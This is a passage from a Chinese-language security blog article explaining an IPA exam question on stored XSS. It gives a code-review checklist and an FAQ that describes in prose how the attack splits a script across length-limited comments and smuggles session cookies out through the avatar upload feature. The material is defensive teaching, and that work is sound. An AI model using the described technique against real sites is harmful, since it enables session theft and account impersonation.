另外,把已上传的文件从与主站不同的域名进行分发这种设计也常常被推荐,但这并不是针对本次窃取路径的对策。因为攻击者同样可以从不同域名下载图片,而且同源策略本来就不是用来对公开的字节序列保密的机制。不同域名分发真正起作用的场景,是应对已上传的文件本身作为主动内容在受害者网站的源中被执行这类威胁(例如被上传HTML或SVG的情形)。请把它作为针对另一种威胁的对策,分开来理解。
不依据发送方的申报(扩展名或Content-Type),而依据文件内容本身来判断,这种思路本身并不限于Web领域,是一项基本操作。不过,「依据内容判断」具体要看什么,会因格式而异。像PNG这样在开头字节序列中带有固定排列的格式,可以据此加以确认。而CSV没有标准化的签名,开头的BOM只能表示字符编码,并不能作为内容确实是CSV的证据。正如在CSV文件的处理方法一文中所讨论的那样,对于CSV,需要确认是否能按预期的方言完成解析、是否落在预期的模式与件数上限之内。
10. 检查自己代码时的着眼点
把这道大题落实成代码评审的检查清单,就是下面这些内容。只要是拥有会员功能或投稿功能的Web应用程序,都可以直接套用。
- 输出时的转义,是否在所有输出位置都生效。 把明确关闭了模板引擎自动转义的位置(
raw、| safe、dangerouslySetInnerHTML等)全部排查出来,逐一确认能否说明白关闭它的理由 - 是否把输入端的限制算作了XSS对策。 字数限制和可输入字符种类的限制属于规格上的要求,并不是XSS的根本性解决方案
- 是否在输入时就做了转义。 输入的职责是拦截不符合规格的取值这一校验,而不是转义。由于在输入的那一刻,输出目的地(HTML・CSV・JSON・邮件・日志)尚未确定,输入时转义会招致二次转义和数据破坏。SQL语句的拼装同理,根本性解决方案是占位符
- cookie上是否带有
HttpOnly、Secure、SameSite。 尤其要重点确认会话ID的cookie - 上传文件的格式,是否依据内容而非扩展名或Content-Type来确认。 发送方申报的信息不能作为校验的依据。不过仅靠格式检查,仍无法拦下把数据藏进合法图片元数据区域的手法
- 是否对上传的图片重新编码后再分发。 是否原样返回了原始字节序列。不过要理解,即便重新编码,被编码为像素的信息依然会残留,因此「既能写入又能读出的位置」无法被完全堵死。另外,从不同域名分发是应对已上传文件在自家网站源中被执行这一威胁的对策,并不是针对本次窃取路径的对策
- CSP是否配置成了能够阻止内联脚本的形式。 判断标准不是「是否写了
'unsafe-inline'」,而是「内联脚本实际上是否被允许」。如果script-src中指定了nonce或hash,CSP Level 2及以后的浏览器就会忽略'unsafe-inline',因此在为了向后兼容而同时写有'unsafe-inline'与nonce的策略下,不带nonce的注入脚本会被拦截 - 能否说明令牌守护的「究竟是什么」。 CSRF对策的令牌无法防御XSS,二者各自需要不同的对策
尤其是第1项,是在实际调查中经常发现的典型模式。原本以为框架会自动转义所以是安全的,结果因为「想要原样插入HTML」这一个别需求,在某一处单独关闭了自动转义──这样的案例并不少见。
结语 ── 这道题真正考查的能力
到目前为止梳理出的对策一览,已经汇总在开头的「先说结论」部分。最后,关于这道题本身,再补充一点。
作为一道考题,它设计得出色的地方在于,考查的不是「是否知道XSS」,而是「在手头已有的各项对策之中,能否分辨出哪一项才是真正起作用的」。
Q公司并不是什么都没做。通信采用了HTTPS,输入设有字数限制,上传要求令牌,功能也限定为已登录会员才能使用。这些项目排列在一起,看起来相当像是一个经过对策的产品。即便如此,全部都被穿透了。反过来说,欠缺的那3项,每一项都很不起眼,都不是那种会写进发布说明里的功能。
安全议题之所以困难,是因为对策的数量与防御的强度并不成正比。重要的不是「做了什么」,而是能否逐一说清楚「这项对策,能够阻止哪种攻击的哪个环节」。这并不是仅仅为了应付资格考试而需要的能力,无论是听取安全对策说明的一方,还是负责实施的一方,这都是最不可或缺的判断力。
相关咨询领域
合同会社小村软件(合同会社小村ソフト)承接拥有会员功能或投稿功能的网站制作,以及针对现有Web应用程序是否存在同样漏洞的设计评审。
参考链接
-
IPA 独立行政法人信息处理推进机构,试题册・分值比例・解答示例・评分讲评(2023年度、令和5年度) 所收录的「2023年秋季(令和5年) 信息处理安全保障支援士考试 午后 试题」。关于Q公司的Web应用Q的功能(会员注册、通过cookie签发会话ID的登录机制、商品评论功能中评论标题50字・评论详情300字的输入字数限制、会员资料功能中的头像图片上传与信用卡信息登记、头像图片上传以图片文件和令牌为参数、已上传的头像图片会显示在会员资料设置页面及评论页面)、页面V中16条评论只显示2条的现象、页面V的HTML中含有会员A的15条投稿及一段长脚本、提取出的脚本内容,以及Web应用Q存在会员输入的脚本被执行的漏洞、cookie未被赋予HttpOnly属性、未对已上传图片文件的格式进行检查等内容。设问1至设问4的题干同样出自该册子。 ↩ ↩2
-
IPA 独立行政法人信息处理推进机构,关于考试的常见问题。关于该机构公开的历年考试试题,除法令另有规定的情况外,使用无须获得许可或支付使用费,但并不代表放弃著作权,需要以「年度、期、考试类别、时间段、题号等」的形式明确标注出处(举例为「出处:2019年春季(平成31年) 基本信息技术者考试 上午 问1」),以及如对试题内容做了部分改写,也必须一并注明等内容。 ↩
-
IPA 独立行政法人信息处理推进机构,2023年秋季(令和5年) 信息处理安全保障支援士考试 解答示例。关于问1的出题主旨(以利用Web应用程序漏洞引发的事件应对为题材,考查从HTML与ECMAScript中解读出被利用的漏洞与问题所在、并制定对策的能力),以及各设问的解答示例(设问1(1)为「イ 存储型XSS」,设问1(2)为「在输出评论标题之前施加转义处理。」,设问2为「分多次进行投稿,使HTML被注释掉、连成一整段脚本。」,设问3(1)为「连同从XHR响应中获取的令牌一起,把会话ID作为头像图片上传。」,设问3(2)为「下载会员的头像图片,从中取出会话ID字符串。」,设问3(3)为「冒充访问过页面V的会员,使用Web应用Q的功能。」,设问4为「脚本向不同域名的URL发起请求时,cookie不会被发送的机制」)。 ↩ ↩2
-
IPA 独立行政法人信息处理推进机构,2023年秋季(令和5年) 信息处理安全保障支援士考试 评分讲评。关于问1整体正确率处于平均水平、设问1(1)中指出「可能是因为脚本中使用了DOM,有不少考生误答为”DOM Based XSS”」、希望考生能够连同特征与对策方法在内准确理解漏洞的建议、设问2中指出「也有部分解答像”通过开发者工具删除输入限制后再投稿”这样,可以看出确认得还不够充分」、希望考生培养仔细确认攻击者留下的痕迹并准确把握攻击方法的能力的建议,以及设问3(3)正确率较高、考生对电商网站中cookie被攻击者获取所带来的影响理解到位等内容。 ↩ ↩2
-
IPA 独立行政法人信息处理推进机构,安全网站构建指南。关于该指南把网站的11类漏洞按「根本性解决」(消除漏洞根本原因本身的实现方法)与「辅助性对策」(在漏洞仍然存在的情况下,用于降低攻击成功率或损害程度的对策)两类分别呈现,把对输出到网页上的所有要素施加转义处理列为跨站脚本攻击的根本性解决方案之一,以及随附的安全实施检查清单和别册《安全调用SQL的方法》《网站健康诊断规格》等内容。 ↩ ↩2 ↩3
-
IPA 独立行政法人信息处理推进机构,安全网站构建指南 - 1.1 SQL注入。关于把「SQL语句的拼装全部使用占位符实现」列为SQL注入的根本性解决方案,静态占位符(预编译语句)在原理上不会产生该漏洞,在通过字符串拼接构建SQL语句时的实现方式中提到「应使用具备转义处理等功能的数据库引擎API,正确构成SQL语句的字面量」,转义是针对构成SQL语句字面量这一步骤进行的(而不是在接收输入的那一刻),同时把「不将SQL语句直接指定在传给Web应用程序的参数中」列为根本性解决方案,把「不将错误消息原样显示在浏览器上」「赋予数据库账户适当的权限」列为辅助性对策等内容。 ↩
-
IETF, RFC 6265: HTTP State Management Mechanism,第4.1.2.6节”The HttpOnly Attribute”。关于HttpOnly属性会将cookie的作用范围限定在HTTP请求之内,尤其是在通过向脚本公开cookie这类”非HTTP”的Web浏览器API提供对cookie的访问时,会指示用户代理省略该cookie等内容。同时提到Secure属性(第4.1.2.5节)会将cookie限定为仅通过安全信道发送。 ↩ ↩2
相关文章
共享相同标签的最新文章。可以围绕相近的主题进一步加深理解。
信息处理安全保障支援士(情報処理安全確保支援士) 2024年春季(令和6年) 午后问1解说 ── JWT的alg=none与API授权、WAF的临时应对
以信息处理安全保障支援士考试2024年春季(令和6年)午后问1为题材,解说JWT的alg=none、API授权、Mass Assignment(批量赋值)、4位认证码的暴力破解,以及WAF的临时应对措施。
信息处理安全保障支援士(情報処理安全確保支援士) 2023年秋季(令和5年) 下午问2解说 ── 从来宾用Wi-Fi带出的文件
以信息处理安全保障支援士考试2023年秋季(令和5年)下午问2为题材,解说堵住了USB闪存的公司如何被人从来宾用Wi-Fi带出文件的路径。梳理服务器证书验证与HSTS、MAC地址过滤的局限性,以及EAP-TLS和TPM带来的应对方法。
网站发包方也应该了解的内容 —— 把 IPA《安全网站构建指南》当作检查清单来使用
公司网站的安全性应该以什么标准来核查?本文用发包方、运营方也能理解的语言,解析 IPA《安全网站构建指南》所列出的 11 种漏洞及其对策,并介绍在发包、验收、运维各阶段的具体用法。
信息安全10大威胁2026——排行榜的正确打开方式,与中小企业真正应该防范的威胁
在IPA《信息安全10大威胁2026》中,勒索攻击连续11年蝉联第1位,供应链攻击位居第2位,首次入选的“围绕AI利用的网络风险”跃居第3位。本文解读组织篇TOP10的内容,并说明中小企业应把哪些威胁当作自身问题来加以应对。
中小企业的安全对策,该从何入手 ── IPA《中小企业信息安全对策指南》第4.0版导读
中小企业的安全对策应该从何入手?本文基于 IPA《中小企业信息安全对策指南》第4.0版,从信息安全六条准则、5分钟自我诊断,到 SECURITY ACTION,进行分阶段讲解。
相关主题
与本文相近的主题页面。以本文为起点,可以进一步了解相关服务和其他文章。
Windows 技术主题
汇整 KomuraSoft LLC 关于 Windows 开发、故障调查与既有资产活用文章的主题中心。
与本主题相关的服务
本文与以下服务页面相关联,欢迎从最接近的入口查看。
网站制作
因为对于拥有会员功能或投稿功能的网站来说,本文讨论的输出时转义、cookie属性设置等要点,会直接关系到网站本身的制作质量。
技术咨询 & 设计评审
因为从设计评审的角度排查现有Web应用程序中是否存在同样的漏洞,正属于技术咨询的范畴。
常见问题
汇总了咨询这一主题时常见的问题。
- 这道题中的XSS为什么是「存储型」?脚本明明操作了DOM,为什么不是DOM Based XSS?
- 漏洞的种类是由攻击者的字符串「在哪里」变成可执行代码决定的,也就是说取决于脆弱的输出位置(Sink)是位于服务器端还是浏览器端。在这道题中,服务器把攻击者投稿的评论标题原样嵌入HTML并返回。Sink位于服务器的输出处理中,且该字符串会被保存下来,此后分发给所有打开页面的人,因此属于存储型XSS。DOM Based XSS指的是浏览器上的JavaScript通过向innerHTML赋值等方式,使某个值变得可执行的类型。嵌入的脚本是否使用了XMLHttpRequest、getElementById等DOM API,与漏洞的种类无关。另外,即使服务器把已保存的值作为无害的文本或JSON返回,只要浏览器端的JavaScript把它传给innerHTML,就会构成DOM Based XSS(这属于由已保存的值引发的所谓stored DOM XSS)。请不要根据响应中是否能看到该字符串来判断,而要根据它是在哪里变得可执行来判断。IPA(独立行政法人信息处理推进机构)的评分讲评中也指出,可能是因为脚本中使用了DOM,有不少考生误答为DOM Based XSS。
- 评论标题明明有50字的输入字数限制,为什么还能执行很长的脚本?
- 攻击者把脚本拆分成能收进单次投稿长度以内的片段,分多次投稿。第1条评论在标题中途打开script标签,并在标题末尾打开JavaScript的块注释(斜杠加星号)。第2条评论在开头先关闭该注释,写下接下来的语句,再在末尾重新打开注释——如此反复。这样一来,夹在各条投稿之间的HTML(div标签等)就全部落入JavaScript注释之中而被忽略,只有被拆分的脚本片段会连接起来,作为一整段脚本执行。也就是说,输入字数限制只限制了单条投稿的长度,并没有限制投稿的次数。
- 被窃取的会话ID被发送到哪里去了?
- 并没有被发送到外部服务器。脚本把cookie的内容原样作为文件内容,文件名设为「a.png」,MIME类型设为「image/png」,发送给了受害者所使用的电商网站自身的会员头像图片上传功能。由于上传的头像图片会显示在评论页面等处,攻击者只需正常下载该图片,就能从其内容字符串中取出会话ID。受害者的浏览器自始至终只与正规网站通信,不会产生任何对外的可疑通信,因此这是一条代理服务器的URL过滤或防火墙的出站通信监控都无法察觉的路径。
- 上传本应需要令牌才能进行,为什么攻击还是成立了?
- 因为那个令牌是用来拦截来自其他网站的擅自请求的机制(CSRF对策),并不是针对运行在同一网站上的脚本而设计的对策。攻击脚本先用XMLHttpRequest访问个人资料设置页面,像正规页面一样获取令牌,然后带着这个令牌执行上传。由于XSS的作用,攻击者的代码是在与受害者相同的源(origin)中运行的,因此正规用户能做的事情,攻击者的代码全都能做。CSRF对策的令牌无法防御XSS。
- 听说SQL注入中输入时的转义很重要。难道只有XSS才是在输出时处理吗?
- 不,SQL注入同样也不是靠「输入时转义」来应对的。IPA提出的根本性解决方案是「SQL语句的拼装全部使用占位符实现」。虽然也提到了在通过字符串拼接来构建SQL语句时可以用转义处理作为替代方案,但那也是为了「正确构成SQL语句的字面量」,也就是在拼装SQL语句的那一瞬间进行的处理,而不是在接收输入的那一刻。共通的原则是:「转义应当在数据即将进入哪种语法世界这一点被确定下来的地方进行。」如果要输出为HTML,就做HTML转义;如果要成为SQL语句的一部分,就用占位符;如果要成为shell命令的一部分,就按照shell的方式处理。之所以不能在输入时转义,是因为那时输出目的地尚未确定。同一份数据可能会输出到HTML页面,也可能输出到CSV、JSON、通知邮件或日志中。如果在输入时就做了HTML转义,CSV中就会原样出现实体引用这类字符串,数据库中的内容也会和原始输入不一致,导致检索和统计出错。当然,这并不是说输入侧什么都不用做。输入侧应承担的角色不是转义,而是校验(Validation),即拒绝不符合规格的取值。
- 从这道题中应该带回实务工作的对策是什么?
- 根本性解决方案,是对包括评论标题在内的所有用户输入,都在即将输出为HTML之前施加转义处理。在此基础上,作为辅助性对策,可以列举出:给会话ID的cookie加上HttpOnly属性,使其无法被脚本读取;在服务器端对上传的图片重新编码,不保留原始字节序列;将Content Security Policy配置成能够阻止内联脚本执行的形式。这道题中的Q公司,只要实施了其中任何一项,这条攻击链就会在某处被切断。不过,辅助性对策是有可能被攻击者改变手法而绕过的,因此不能替代作为根本性解决方案的转义处理。